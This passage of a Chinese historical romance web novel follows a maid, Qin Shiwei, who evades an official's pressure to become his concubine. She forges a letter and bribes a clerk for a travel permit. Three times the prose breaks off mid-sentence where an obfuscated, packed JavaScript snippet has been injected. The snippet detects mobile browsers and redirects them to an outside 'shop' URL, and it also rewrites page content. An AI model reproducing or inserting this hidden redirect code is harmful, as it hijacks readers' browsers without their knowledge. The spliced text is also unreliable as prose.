郑婆子点点头,又道:“女儿家还是要白些才好。你刚来那几日,脸上黄得跟蜡似的,我还当你是病了。如今这样多好,瞧着就精神。” 正说着,外头蹦进来一个人。 是个半大小子,约莫十二三岁年纪,穿着身青布短褐,圆脸盘,一笑眼睛就眯成两条缝。他窜进来,先冲郑婆子作了个揖,又冲秦式微挤挤眼,嘴甜得跟抹了蜜似的:“还得是茶房里头舒服,郑婆婆好,秦姐姐美。” 郑婆子被他逗乐了,佯装板着脸:“又想从老婆子这里讨糖吃?” 永言立刻摆手,一脸正经:“哪里?我已经大了,又不爱吃糖,都是掏心窝子的话。” 郑婆子笑骂了一句,从柜子里摸出两块饴糖,塞给他:“拿去拿去,少在这儿贫嘴。” 永言接了糖,往嘴里塞了一块,含糊道:“这回可不是来讨糖的,是来叫茶的——陆大人那边要茶。” 秦式微往外头看了一眼天色。 日头正往西斜,约莫是申时初的光景。前两日都是早间和午时左右叫茶,这个时辰倒是头一回。 她心里虽有些意外,却没多问,起身去准备。 郑婆子忽然想起什么,走到靠墙的木柜前,打开柜门,从里头取出一个包袱来。包袱解开来,里头是一套茶具——三只杯子,一只茶壶,都是白瓷的,可那白又不是寻常的白,莹润得像羊脂玉,对着光看,隐隐透出淡淡的青。 秦式微接过,仔细端详。 杯壁薄如蛋壳,釉面光洁得能照见人影,杯底烧着细小的冰裂纹,裂纹里头沁着淡淡的金线。壶身素净,没有花纹,可那线条流畅圆润,握在手里温润如玉,一看便知不是凡品。 “这是昨日你下工后,陆大人身边那位长随送来的。”郑婆子压低声音道,“说是让咱们往后用这套茶具泡茶。” 这样精细的东西,别说在这县衙,就是在县城最大的瓷器铺里也难得一见。那位陆大人随身带着这样的茶具,果然是世家大族的做派。 秦式微用这套茶具泡了茶,茶汤注入杯中,那莹白的瓷壁衬得茶汤愈发清亮,碧莹莹的,像一汪春水。 泡完茶,她熟门熟路往那院子去。 这几日走得多了,路都熟了。穿过月洞门,绕过假山,便到了那院子门口。她本以为会和往常一样,把茶交给良平便回去,可这回却不一样。 良平站在院门口,见她来了,却没有伸手接茶,只道:“你送进去吧。” 秦式微愣了愣,勉强压下心里的惊讶。 今个儿怎么回事? 她垂下眼帘,定了定神,端着茶托往里走。 院子里静悄悄的,只有风吹过竹叶的沙沙声。她低着头,不敢四处张望,只盯着脚下的青石板路,一步一步往里走。 进了屋,她依旧垂着眼,只隐约看见窗前有人影斜倚着。她不敢多看,对着那人影的方向行了礼,轻声道:“大人,奴婢来送茶。” 她听见一声“放着吧”,声音慵懒,尾音微微上扬。 秦式微上前几步,将茶托放在案上,便准备退出去。 “站住。” 身后传来一声,不轻不重。 秦式微脚步一顿,垂首站定。 陆闻涉靠在窗边的椅子上,看着她。 这人从进门到现在,头都没抬过一下,全程恭恭敬敬,眼观鼻鼻观心,跟根木头桩子似的。他心中暗笑,怎么,自己难道真是洪水猛兽,看一眼能把她吃了? 这两日还算顺遂。甘鸿光老实了不少,账册也翻不出什么破绽,他倒不急了——越是这样,越说明背后有事。慢慢来,总能揪住尾巴。 他心情不错,便想起这几日的茶来。 那茶泡得恰到好处,不烫不凉,正是他喜欢的温度。在这穷乡僻壤,能喝上这样的茶,倒是意外之喜。他便让良平把人唤来,想瞧瞧是什么人。 方才她开口那一声,声音极好听,像春风吹水,听着便让人心里舒坦。 他起了几分兴致。 “抬起头。”他道。 秦式微心里微微一紧。 这位陆大人今日是怎么了?先是让她进来送茶,这会子又让她抬头。可从方才那一声“放着吧”里,她能听出他心情不错,应当不是什么坏事。 她缓缓抬起头。 目光所及,是一张脸。 剑眉斜飞入鬓,眉尾微微上扬,带着几分凌厉。眼眸狭长,眼尾微微上挑,鼻梁高挺,薄唇似笑非笑。 他斜靠在椅子上,姿态慵懒随意,一只手搭在扶手上,另一只手撑着鬓角边。 一身曙红色长袍,红袖滑落,露出一截精瘦有力的小臂,衣料是上好的云锦,随着动作泛起细碎的光泽,隐约能看见衣摆上暗绣的缠枝纹,暧昧地纠缠。 秾艳至极,顾眄生威。 这是秦式微心里冒出的第一个念头。 不是正人君子的长相。 倒像是那种风流场上混惯了的,知道自己的好看,也懂得怎么用这好看。 陆闻涉也在看她。 她抬起头那一瞬,他微微一怔。 这小娘子生得极好。 不是那种明艳的好,是温温润润的好。眉眼清浅,如山间初化的春水,鼻梁秀挺,唇线柔和,右眉下一颗小小的痣,淡如墨点,衬得那张脸愈发清婉。 她站在那儿,轻肌弱骨,阳光从她身后照进来,给她那身素净的衣裳都缀上金边。 秦式微被他看得不自在,赶紧低下头。 而她这一动,延颈秀项,曲尽其态,陆闻涉看得喉咙有些发紧。 他端起茶盏,喝了一口,才将那异样的感觉压下去。 “这几日的茶是你泡的?”他问。 秦式微道:“是。” 陆闻涉放下茶盏,看着她。 “可想要什么赏赐?不拘于物。” 秦式微心里微微一动。 赏赐?她抬起头,飞快地看了他一眼,又垂下眼去。 这位陆大人如此大方?她不过是个泡茶的丫鬟,泡了几日茶,便要赏赐?这话听着怎么有些不对。 她心思转了几转。 户籍的事,这几日一直压在她心头。里正查户籍查得紧,若能在陆大人这儿求个情,宽限几日,或是打听出些消息—— 可她又拿不准这人是什么性子。是公私分明,还是随心所欲?她若开口求了,他会不会觉得她不知分寸?会不会反倒弄巧成拙? 她犹豫了一瞬,终是道:“这是奴婢本分,不敢讨赏。” 陆闻涉看着她这小动作,嘴角微微勾起。 不敢讨赏?还是想讨的不好说? 他当她有女儿家的羞涩,道:“真没有?” 秦式微摇头:“没有。” 陆闻涉看了她一会儿,心想还是个没胆子的,忽然道:“你再回去想想。” 秦式微愣了愣,抬起头看他。 他却没有再看她,端起茶盏,低头喝茶。阳光落在他侧脸上,那眉眼在光影里,愈发显得深邃难测。 她不敢多留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦式微本能拒绝道:“奴婢不识字。” 陆闻涉嗯了一声,往后靠在椅背上,姿态愈发慵懒。 “那正好。”他道,“你来同我松松肩膀。” 秦式微愣了一愣。 她抬起头,飞快地看了他一眼,又垂下眼去。 这人—— 堪称无耻。 她咬着牙,深吸一口气,道:“奴婢……还是认得几个字的。” 陆闻涉看着她,嘴角的笑意更深了。 他仿佛早料到她会这么说,也不惊讶,只从案上拿起一本书,递给她。 “那便念这个。” 秦式微接过书,低头一看——封面上写着两个字:茶经。 她捧着书,站在那儿,搬了个杌子往远了坐。 而陆闻涉已然斜躺到窗边的美人榻上,一只手枕在脑后,一只手搭在榻沿,阖上了眼,一副恣意闲适的模样。 那姿态,风流得很。 秦式微看着他那副模样,心里又骂了几句,面上却不敢显,只得捧着书,干巴巴地念起来。 “茶者,南方之嘉木也。一尺、二尺乃至数十尺。其巴山峡川,有两人合抱者,伐而掇之……” 她故意念得生涩,磕磕绊绊的。 榻上那人一动不动,像是睡着了。 可她知道他没睡着。 念了半页,她正想停下来歇口气,榻上那人忽然开口了。 声音懒懒的,带着几分笑意:“之前说的赏赐,想好了吗?” 8. 想法 昨夜知州邀宴,陆闻涉推却不得。席设在临江坊,倒还算个干净地,养的皆是清倌儿。他无意享用,只淡淡坐着,酒到杯干,话不多说一句,心底只觉这群人的虚与委蛇,腻味得很。 可上首严知州还是没放过他,酒过三巡,拍着他的肩,似笑非笑道:“贤侄年纪轻轻便居此位,前途不可限量。只是——太过清流了些。这官场上,水至清则无鱼,人至察则无徒。往后你我共事,还需多走动走动才是。” 他听懂了。这是嫌他不合群,嫌他不肯同流合污,嫌他太干净,往后不好拿捏。陆闻涉看着这位草包般的严家长辈,心底翻涌着浓烈的厌弃,没接话,只勉强陪了一夜的酒。 今晨回来,已是午时前后。酒意未散,心头那点不快更是郁结成块,他靠在窗边,懒得再想那些官场腌臜事。外头日头正好,暖光洒在榻边,他斜倚着,却无半分睡意,只觉心底空落落的,偏生又躁得慌。 “良平。”他漫不经心唤道,声线里带着酒后的沉哑。 良平应声而入,垂首立在一旁。 “叫茶来。” 良平应了,转身出去。不多时,门帘一掀,进来的却是个老婆子,端着茶托,步子重,恭恭敬敬将茶放在案上。 陆闻涉扫了一眼那寡淡的茶,又瞥了眼那满脸褶子的婆子,脸色当即冷了下来,周身的气压骤降。 他没说话,只抬眼,目光沉沉地扫向良平。 良平跟了他多年,如何不懂这眼神里的愠怒与不耐?他慌忙垂下头,不敢多言,只低声道:“奴这就去。” …… 陆闻涉睁开眼,毫无顾忌地黏在她身上,从她低垂的、纤长的眼睫,到她捏着书卷的细手,再到那一头乌黑的墨发,顺着发丝往下,落在那截露出的脖颈上——纤细的,白腻的,像上好的羊脂玉,轻轻一捏,怕是就能掐出水来。 他不动声色地收回目光,坐起身端起茶盏,抿了一口。茶的温度刚好,清醇回甘,也是难得。 她手里捏着那卷《茶经》,低眉顺眼,一副老实本分、人畜无害的模样。 陆闻涉揉揉眉,心底嗤笑一声。 这人连欲擒故纵的招都用不好。 推却一回还算玩趣,却不能太过了。 总归是知道自己生得好看,故意躲着他,推脱着不肯来伺候,等真被请来了,又装出这副不情不愿、谨小慎微的样子,无非是想抬高身价,想让他多费些心思,好博一个更体面的去处。 就当是解解闷。 他靠在榻上,懒懒开口,声线透着不容置喙的强势,继续道:“只管说便是。” 秦式微捧着书,心底飞快地转着。方才进门时,她便嗅到他身上淡淡的酒味,却无半分脂粉气,想来昨夜虽赴宴,却也算是守着几分底线,可这并不妨碍,他此刻对她的见色起意。 她借着行礼的动作,不动声色地往后退了半步,又退了半步,刻意拉开些距离,将那份刻意的恭顺做得十足:“大人。” 她垂着眼,声音软软的,却又带着几分恰到好处的怯意,“奴婢不敢讨赏。丁管事说过,做奴婢的本分就是安分守己,不该想的别想,不该要的别要。奴婢的娘亲过世前也叮嘱过,让奴婢老老实实做人,不能受不该担的恩惠。大人抬爱,奴婢心领了,可这赏赐,奴婢实在不敢受。” 她说得诚恳,字字句句都合情合理,可每一个字,都是在明晃晃地推脱,在划清界限。 陆闻涉听着,眉头微微皱了皱,心底的不耐又添了几分。 这话说得滴水不漏,可他岂会听不出来?什么丁管事,什么过世的娘亲——不过是找些借口,告诉他,她只是个本分的临时帮工,不想攀高枝,不想惹是非。 他看着她,忽然有些拿不准了。这人,是真的木讷不懂,还是装疯卖傻,故意跟他周旋? 那点被勾起的兴致,混着还未散尽的酒意转成了愠怒。 他猛地从榻上起身,大步走到她面前,高大的身影将她整个人笼罩住,一股强大的压迫感骤然逼近,鼻端那淡淡的酒气混着他身上的熏香,呛得秦式微心头一紧。 秦式微垂着眼,不敢抬头,只死死盯着他靴子上精致的云纹,指尖却在袖中悄悄攥紧。 “不过寻常妇人之语,你就如此听进去了?”他站在她面前,声音从头顶传来,不高不低,却带着几分冷意,“孰知她不过是仗着如今比你位高,欺辱你?往后你跟了我,那位丁管事,还要朝你磕头。” 这话,直白得露骨,直白得让她没法再装傻。 秦式微心里咯噔一下,面上却依旧恭顺,只是咬了咬唇,声音愈发柔婉:“大人有所不知,奴婢并不是县衙的奴婢,没签过卖身契。奴婢是村里选来临时帮工的,算不得正经丫鬟,更不敢妄想去伺候大人。大人的好意,奴婢实在担不起。” 说着,她又往后退了一步,拉开更远的距离。 陆闻涉看着她后退的脚步,看着她低垂的眼睫,看着她那副看似柔弱却实则带着刺的样子——心底忽然明白了。 她不是在欲擒故纵。 她是真的在躲他。 陆闻涉眯着眼,目光沉沉地看了她一会儿,怒极反笑,他倒要看看,这人,能躲到什么时候。 “你家的事,我也知晓一二。”他靠回榻上,慢条斯理地捏着她的七寸,“父不详,母已逝。你上无宗族,下无近亲。这户籍,怕是落不到哪里。” 秦式微的心脏,狠狠一沉,指尖掐进了掌心。 他查她了。 心底暗骂自己倒霉,面上却不敢有半分显露,只咬着唇,沉默着,装作被吓住的样子。 陆闻涉看着她皱起的眉头,看着她眼底一闪而过的慌乱,只当她是被自己的话吓着了,心底的火气散了几分,反倒生出几分可怜。到底是小门小户出来的,没见过世面,几句话,就吓破了胆。 他语气松了两分:“你是个聪明人,应当知道好歹。你那户籍的事,说大不大,说小不小。孤女无依,官府若要发落,不过是一句话的事,配个粗鄙农夫,或是发卖到大户人家为奴,都是你的命。可你若是跟了我——”他顿了顿,嘴角勾起一抹玩味的弧度,“做我的妾,虽不是什么正室,却也是你的造化。往后户籍有着落,衣食无忧,不比你在外头飘着强?” 做妾。 秦式微听着,心底那股火气直往上冒,几乎要压不住。可她知道,此刻不能硬刚,不能露怯,只能忍着,只能装。 她垂着眼,声音愈发恭顺,带着几分被吓住的颤抖:“大人所说,奴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341497|199353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婢谨记。” 她顿了顿,怯生生地抬起头,飞快地看了他一眼,又迅速垂下眼,那副小鹿般受惊的模样,让陆闻涉的心底又软了几分,声音里带着几分小心翼翼的恳求:“可否……可否让奴婢回去收拾一二?奴婢出来得急,屋里还有些先母的遗物没归置,若是丢了,奴婢无颜见地下的娘亲。” 她刻意提起先母,提起遗物,用孝道做挡箭牌,料定他这般自诩世家子弟的人,不会在这上面苛责她。 陆闻涉看着她那副怯生生、梨花带雨的模样,心底那点疑虑散了些。到底是没见过世面的乡野女子,被他一番话,吓得六神无主,不过是回去收拾东西,认怂罢了。让她回去收拾也好,明日再来,兴许就彻底想通了,乖乖服帖。 他阖上眼,挥了挥手,语气带着几分不耐的纵容:“去吧。我让良平明日去接你。” 秦式微心头一松,面上却依旧恭顺,屈膝行了个礼,转身往外走。步子不紧不慢,端得稳稳当当,可只有她自己知道,后背的衣裳,早已被冷汗浸透。 心,跳得快要跳出嗓子眼。 好险。 她前脚刚出院门,良平后脚就进来了,垂首立在一旁:“主子。” 陆闻涉靠在榻上,没睁眼,声音带着几分冷意:“跟着她。” “若是有不长眼的为难她,你就料理了吧。” 良平应了一声,转身快步出去,眼底闪过一丝了然,这位秦姑娘可是有大造化。 秦式微一出那院子,便不敢有半分停留,小步快走着,过了月洞门,又走了一段,直到出了陆闻涉的住处,才敢稍稍停下,扶着墙,深吸一口气,平复着狂跳的心跳。 回到茶房,郑婆子正坐在那儿择茶叶,见她进来,抬起头,欲言又止地看着她,那眼神里带着几分猜测,几分担忧,还有几分了然——方才良平亲自来请,那架势,谁看不出来是什么意思? 秦式微心里明白,郑婆子在这衙门里待了二十年,什么风浪没见过?她只扯出一抹勉强的笑,装作无事发生,走到架子前,慢慢收拾茶具,指尖却依旧在颤抖。 郑婆子张了张嘴,想说什么,到底还是咽了回去,只叹了口气,低声道:“永言方才来寻你,我说你去送茶了。他说有事找你,让你今日下工在角门等他,看那样子,像是有急事。” 秦式微手上的动作顿了顿,眼底闪过一丝光亮,点了点头:“多谢婆婆。” 这番安排很妥当。衙门里人多眼杂,隔墙有耳,有些事,绝不能在衙门里说。 好不容易熬到下工,秦式微照常往外走,脚步看似缓慢,实则心急如焚。她没有直接去角门,而是故意在街上溜达了两圈,东看看西看看,装作买东西的样子,才绕到偏僻的角门。 永言已经等在那儿了,靠在墙角的阴影里,脸色不算太好,见她来了,快步迎上来,压低声音,语气急促:“秦姐姐,我打听过了,坏消息。” 秦式微的心,瞬间提到了嗓子眼,看着他,等着下文。 “户籍这事,是陆大人亲自在主管,上头下了死命令,查得严得很,半点风声都不给透,我问了好几个户房的皂隶,都说这事根本没辙。”永言的声音压得极低,带着几分焦急,“不过——路引的事,还有点门路。” 9. 解围 秦式微的眼睛,骤然一亮。 “县衙户房有个掌案老吏,叫孔大财,在户房干了三十年了,什么门道都清楚,手眼通天。”永言道,小小的脸上满是凝重,“这人吧,胆子不大,就是贪财,认钱不认人,只要银子到位,什么事都能办,可若是银子不到位,天王老子来了也没用。而且他多疑得很,办事必须悄悄的,绝不能让人知道,一旦走漏风声,他第一个撇清关系,翻脸不认人。” 贪财就好。 秦式微心里瞬间有了计较,只要有弱点,就有突破口。她微微松了一口气,问:“要多少银子?” 永言伸出一根手指,压低了声音:“少说这个数。而且路引分远近,去的地方越远,价钱越高。姐姐要去的地方远不远?若是远路,还得给足好处,他才肯冒这个险。孔大财这人,不见兔子不撒鹰,银子不到位,他眼皮都不抬一下。” 秦式微点点头,心里有了数。她从袖中摸出一贯铜钱,不由分说地塞进永言手里,语气温和却不容推辞:“辛苦你了,这是给你的跑腿费。这几日你为我奔波,我记在心里。” 永言吓了一跳,连连摆手,脸都涨红了:“姐姐这是做什么?我不过是跑跑腿,打听打听消息,哪能要这么多?这可使不得,使不得!” 秦式微把铜钱硬塞进他手里,轻轻拍了拍他的手背,笑道:“拿着吧。往后若有难处,咱们互相照应。你若不收,我心里过意不去。” 永言推辞不过,只好收了,却依旧有些不自在,又连忙叮嘱道:“姐姐若是要办,可得赶在明日之前。孔大财的住处和习惯我都告诉你——他每日卯时末起身,辰时初出门去户房,午时回来用饭,歇一个时辰,未时再出去。他为人谨慎,从不在外头过夜,办私事都是在清晨或入夜后。你务必小心,千万别让人跟着,宁可多绕几圈,也不能露了行迹。” 秦式微一一记在心里,又仔细问了孔大财的住处、门巷特征、家里有几口人,确认无误后,才与永言道别,转身赶车去。 夜色已深,月光如水,洒在田埂上,亮晶晶的。 一到村口,她便愣住了。 平日里这个时候,村口早该静悄悄的,只有几声狗吠。可今夜,村口却热闹得不像话——火把点得通明,照得四下亮如白昼。几十号人围在那儿,吵吵嚷嚷的,有族老,有各家的当家人,还有三两个穿着皂衣的衙役,手里拿着簿册,正挨个点人。 是去年的旧户籍册子。 秦式微心头一沉。 居然如此之快? 吴三婶正在人群里东张西望,一眼瞧见秦式微,脸色骤变。她两三步冲上前,一把拉住秦式微的袖子,把她拉到一旁,压低声音道:“你怎么回来了?你不该回来的!今儿个里正来了,说是今年要提前查人,族老便带着人先查一遍村里。你一个孤女,没宗族没依靠,落在他们眼里,能有什么好?快走,趁他们还没顾上你,快走!” 秦式微心头一暖,却也知道来不及了。 她正要安抚三婶,就听见身后传来一声冷笑。 “哟,这不是秦家丫头吗?”一个尖利的声音响起,是吕六娘的娘。她正站在人群边上,一双眼睛滴溜溜地转,看见秦式微,立刻扯着嗓子喊起来,“哎哟喂,可算是回来了!里正今儿个来查人,说是今年要提前查,族老便带着人先查一遍村里。怎么着,秦家丫头,你去要哪儿?” 她这一喊,所有人的目光都齐刷刷地转向秦式微。 秦式微站在那儿,月色和火光交织着落在她身上,照出那张清丽又柔弱的脸。她垂着眼,没有说话。 吕大婶扭着腰走过来,身后还跟着两个皂隶,脸上带着幸灾乐祸的笑,“里正吩咐了,今年要查得仔细,一个人都不能漏。秦家丫头,你跑什么跑?跑了,岂不是显得心虚?” 她说着,回头冲人群里喊道:“当家的,还有吕家族老,你们说说,是不是这个理儿?今儿个查人,还有人没查呢!秦家丫头,这不就是现成的?” 秦式微看着她,心里明白了。 吕六娘在衙门里受了气,回去定是添油加醋地说了一番。这位吕家婆娘,这是在替女儿出气呢。 人群里,吕家族老捻着胡子,点了点头,脸上的神情分明是正该如此。安家族老则皱着眉头,没有说话。 吴家族老——八老叔公,拄着拐杖站在那儿,看着秦式微,眼里带着几分不忍。他张了张嘴,想说什么,却被身旁的人扯了扯袖子。 那两个皂隶对视一眼,其中一个走上前来,上下打量着秦式微,语气公事公办:“你叫什么名字?哪家的?户帖可带了?今年可曾嫁人?可曾迁出?” 秦式微垂着眼皮,正要开口。 吕家婆娘已经凑到皂隶身边,指着秦式微,尖声道:“两位差爷,这丫头叫秦式微,就是三洞村的,她娘刚死,如今一个人,没宗族没依靠。查她,准没错!要我说,这种孤女,留在村里也是祸害,不如趁早带走,省得日后生事!” 她说着,又对皂隶几分讨好:“两位差爷,带走她吧,带走她吧。查清楚了,也好给里正交差不是?” 那两个皂隶对视一眼,正要上前,忽然,一只手从旁边伸出来,拦在他们面前。 秦式微抬起头,瞳孔微微收缩。 良平。 他不知何时出现在人群边上,一身青灰色长袍。他站在那儿,拦在两个皂隶面前,没有说话,只静静地站着。 “你是何人?”一个皂隶皱起眉头,上下打量着他,“敢拦官府办差?” 良平看了他一眼,淡淡道:“去请你们里正来。” 那皂隶一愣,还想说什么,却被同伴扯了扯袖子。那同伴看着良平那身气度,心里有了计较,低声道:“这位……这位公子,敢问尊姓大名?” 良平没有回答,只静静地站着。 不多时,焦里正匆匆赶来,额上还带着汗。他一眼瞧见良平,脸色骤变,赶紧上前,拱手道:“良平公子,您怎么来了?有什么事吩咐一声便是,何必亲自跑一趟?” 良平看了他一眼,微微侧身,露出身后的秦式微。 焦里正看见秦式微,愣了一下,又看了看良平,摸不着头脑。 良平示意他到一旁说话。 两人走到人群边上,良平压低声音说了几句。焦里正一边听,一边点头,脸上的神情从疑惑变成恭敬,又从恭敬变成惶恐。他连连拱手,嘴里说着什么,末了,转身回来,清了清嗓子。 “这位秦娘子,如今还挂着县衙的差事,是陆大人那边的人。”他扫了众人一眼,语气威严,“等过几日查户籍时,再一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341498|199353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并查办。今日,就先这样吧。” 他说着,挥了挥手,带着那两个皂隶走了。 吕家婆娘愣在原地,张了张嘴,想说什么,却对上焦里正那双警告的眼睛,一个字也说不出来。 良平走到秦式微面前,拱手道:“秦娘子,今日受惊了。明日一早,我便带着丫鬟来县衙,往后您出入,也有人照应。” 秦式微看着他,扯出一抹笑,温声道:“辛苦良平公子了。” 良平点了点头,转身离去。 人群渐渐散了,火把也熄了,村口重归寂静。 秦式微站在那儿,看着良平的背影消失在夜色里,脸上的笑容一点一点消失。 好一个陆闻涉。 户籍是他安排的,查得这般紧,这般急,逼得她走投无路。可偏偏又是他,安排了人解围,让她在众人面前躲过一劫。 好人,尽被他做了去。 换做是心智不坚定的,只怕早就被他这“恩威并施”的手段感动得五体投地,心甘情愿去做他的妾室了。 还有焦里正所说,若是她还不肯低头,那就只能等着被县衙拿去,不知到发落到哪里。 秦式微心想,她转身往家走。 路过吴三婶身边时,吴三婶拉住她,欲言又止。秦式微轻轻拍了拍她的手,低声道:“婶子放心,我没事。” 吴三婶看着她,叹了口气,松开手。 秦式微回到屋,点了油灯,闭上眼睛,长长地出了一口气。 村里,怕是呆不下去了。 她想起方才那些村民的目光——好奇的,探究的,明日过后,全村的闲话都会围着她转。她就成了那个攀上高枝的狐媚子。 她深吸一口气,睁开眼睛,眼底一片清明。 今晚,必须把路引的事敲定。 明日一早,立刻走。 秦式微点上灯,从柜子里翻出纸笔,指尖稳稳的,没有半分颤抖。 按照大濮朝的律法,孤女若有远亲投靠,可在核验信物与书信后,由户房开具路引,这是她唯一能钻的空子。她要伪造一封“远亲”的来信,一封足以骗过孔大财的信。 她必须在陆闻涉反应过来之前,办好路引,逃出去。 她在灯下写着,一笔一划,端端正正,模仿着老派的字迹,语气恳切,写着京中远亲思念,盼她前去相聚。写完了,又从柜子里取出一个小罐,里头是她娘教她配的“做旧水”——用茶水、醋、黄柏熬制而成,涂在纸上,能让新纸瞬间变得发黄发旧,与一月前旧信别无二致。 她小心翼翼地把信涂上做旧水,放在窗边晾着。夜风拂过,带着淡淡的草木香,却吹不散她心底的焦虑。 趁着晾信的功夫,她又从床底的瓦罐里,拿出所有的银子,一枚一枚地数着,约莫五两有余。加上这些日子在县衙攒的工钱,统共七两。 她想了想,又走到先母的灵位前,跪下,伸手往灵位底下抠了抠——那里有个暗格。 她把那物什塞到怀里。 万一事败,这东西兴许还能派上用场。 收拾妥当,她合衣躺在床上,却毫无睡意,睁着眼睛,看着屋顶的椽子,把脑子里要做的事,一遍又一遍地过着。 她想着,眼皮渐渐沉了,却不敢睡熟,只迷迷糊糊地眯着。 10. 搜捕 翌日,天还擦黑,秦式微就起了。 她没点灯,摸着黑洗漱完,从灶上拿了两个凉窝窝头,边吃边往外走,脚步轻而快,不敢有半分停留。 村口,安婶已经牵着牛车等在那儿了。安婶是三洞村的老人,早年丧夫,一个人拉扯大三个孩子,如今靠赶牛车挣几个铜板糊口,昨个儿的事她也听说了,见秦式微来得这么早,脸上满是诧异:“这么早?天还没亮透呢,县衙的事,用得着这么急?” 秦式微扯出一抹勉强的笑,装作若无其事的样子:“婶子,县衙最近事多,陆大人那边催得紧,得早点去忙活。” 安婶哦了一声,没再多问,只挥了挥手:“快上车吧。” 秦式微点点头,跳上牛车。牛车晃晃悠悠地上了路,车轮碾过青石板,发出咯吱咯吱的声响,敲得她心头发紧。 到县城时,天才刚刚亮,街上还没什么人,只有几个挑着担子的小贩,早早地出来摆摊。秦式微下了牛车,谢过安婶,便径直往孔大财家去,脚步飞快,像一阵风。 孔大财住在县城东边一条偏僻的小巷里,独门独户的小院,青砖灰瓦,收拾得齐整,一看就是个敛了不少钱财的。秦式微走到院门前,轻轻敲了敲门,里头传来一声不耐烦的呵斥:“谁啊?大清早的,扰人清梦!” 门开了,探出一张干瘦的脸,三角眼,山羊胡,脸上满是不耐,正是孔大财。他上下打量了秦式微一眼,三角眼微微眯起,带着几分警惕:“你找谁?” 秦式微压低声线:“孔掌案,有事相求,还望掌案行个方便。” 孔大财眯着眼看了她半晌,又往她身后仔仔细细看了看,见四下无人,没有跟着的尾巴,才不情不愿地侧过身,冷冷道:“进来吧,别在外头杵着,惹人眼。” 进了屋,秦式微也不绕弯子,直接从袖中取出那封做旧的信,双手递给孔大财,语气恳切:“我家在句州山霞县有门远亲,月前来信,说是家里老人病重,盼我前去探望。可我无路引,出不了县,求孔掌案通融通融,帮我办一张去句州的路引,我必有重谢。” 孔大财接过信,翻来覆去地看了几遍,手指摩挲着泛黄的纸面,三角眼里闪着精明的光,又抬眼扫了秦式微一眼,语气带着几分怀疑:“句州?那可是远路,隔着好几个县,路引可不是那么好办的。” 秦式微知道他是在拿乔,在等她的好处,也不多言,从袖中摸出那五两银子,轻轻放在桌上,银子发出清脆的声响,在安静的屋里,格外刺耳。 孔大财的眼睛,瞬间亮了一下,目光死死地黏在银子上,却依旧摇了摇头,故作难色:“不是我不帮忙,实在是最近风声太紧。那位陆大人查得严,万一查出来,我这干了三十年的掌案,饭碗可就砸了。这银子,我可不敢要。” 秦式微心里暗骂一声老狐狸,贪得无厌,面上却依旧不动声色,从怀里摸出那二两散碎银子,也放在桌上。 “若还不够,我也是拿不出了。” 孔大财看了看那五两银子,又看了看那二两,捻着山羊胡的手,顿了顿。七两银子,已是一笔不小的数目,而且这女子看着是个孤女,无依无靠,就算出了什么事,也查不到他头上。 他沉默了一会儿,忽然叹了口气,装作勉为其难的样子:“罢了罢了,看你也是个可怜的孩子,我就破一次例,帮你这一回。你在这儿等着,别乱动,也别跟着,我去去就回。” 说着,他起身,飞快地把银子揣进怀里,脚步匆匆地往外走,生怕晚了一步,她就反悔了。 秦式微看着他的背影,心底松了一口气,却依旧不敢放松,坐在那儿,一颗心悬在半空,七上八下。外头的天,渐渐亮了,阳光从窗缝里漏进来,在地上投下一道细细的光,可她却觉得,这光,格外刺眼。 不知过了多久,约莫一炷香的功夫,门外传来了急促的脚步声。 门开了,孔大财站在门口,手里拿着一张折叠的纸,冲她扬了扬,语气带着几分不耐烦:“拿着,赶紧走!路引办好了,盖了官印,绝对没问题。记住,别说是我办的,出了这个门,咱们两清,往后出了什么事,都与我无关!” 秦式微快步走上前,接过那张路引,小心翼翼地展开,上头盖着鲜红的县衙大印,写着她的名字、去处、期限,字迹清晰,印鉴齐全,绝无半分问题。她看了又看,确认无误,才抬头冲孔大财福了福身,声音带着几分感激:“多谢孔掌案,大恩不言谢。” “别谢了,快走快走,别让人看见你在我这儿,惹祸上身!”孔大财不耐烦地摆着手,催促着她,恨不得她立刻消失。 秦式微不再多言,把路引小心翼翼地揣进怀里,贴身藏好,转身就往外走,脚步越来越快,几乎是小跑着出了小巷,穿过空荡的街道,往县城西门的方向走去。 秦式微前脚刚出巷子,良平后脚便从另一条岔路追了上来。 他额上沁着细汗,面色比平日里白了几分,眼底带着一夜未眠的青灰。此刻站在巷口,看着那条空荡荡的巷子,眉头紧锁。 ——她去了哪儿? 他回想起这一夜的折腾,心底五味杂陈。 昨夜,他从三洞村回来后,回了县衙,谁知半夜里,主子忽然发了热。 起初只是咳嗽,几声,几声,到了后半夜,主子身上忽然起了风团,一片一片的,红得吓人。 他吓得魂飞魄散,连夜请了大夫来诊。 大夫诊了半日,说是过敏之症——吃错了东西,或是沾了什么不该沾的,无性命之忧,就是有点不太好见人。他问主子今日吃了什么,主子靠在床头,脸色苍白,眉头紧锁,想了半日,咬牙憋出三个字: 